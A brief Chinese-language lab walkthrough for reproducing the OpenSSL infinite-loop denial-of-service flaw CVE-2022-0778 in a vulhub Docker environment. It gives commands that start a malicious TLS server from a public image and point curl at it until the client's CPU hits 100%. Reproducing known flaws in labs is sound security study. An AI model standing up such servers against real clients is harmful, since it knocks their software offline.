OpenSSL无限循环DOS漏洞(CVE-2022-0778)OpenSSL无限循环DOS漏洞(CVE-2022-0778)
OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上。
OpenSSL 1.1.1m 版本及以前存在一处逻辑缺陷,攻击者可以利用一个无效的椭圆曲线参数证书,触发一个无限循环导致耗尽目标CPU。由于证书解析发生在验证证书签名之前,任何解析外部提供的证书的进程都可能受到拒绝服务的攻击。
漏洞复现
cd vulhub-master/
cd openssl
cd CVE-2022-0778/
docker-compose up -d
攻击准备
使用vulhub提供的项目:vulhub/cve-2022-0778 (github.com)
搭建一个恶意服务器。
没有go环境的话,直接使用这个命令搭建:
docker run -it --rm -p 12345:12345 yywing/cve-2022-0778 --addr 0.0.0.0:12345
回到vulhub环境使用docker compose exec curl top
查看内存占用
执行curl命令访问前面启动的恶意服务器
docker compose exec curl bash
curl -k https://host.docker.internal:12345
此时,curl会陷入死循环,查看top
中的CPU占用即可发现已经100%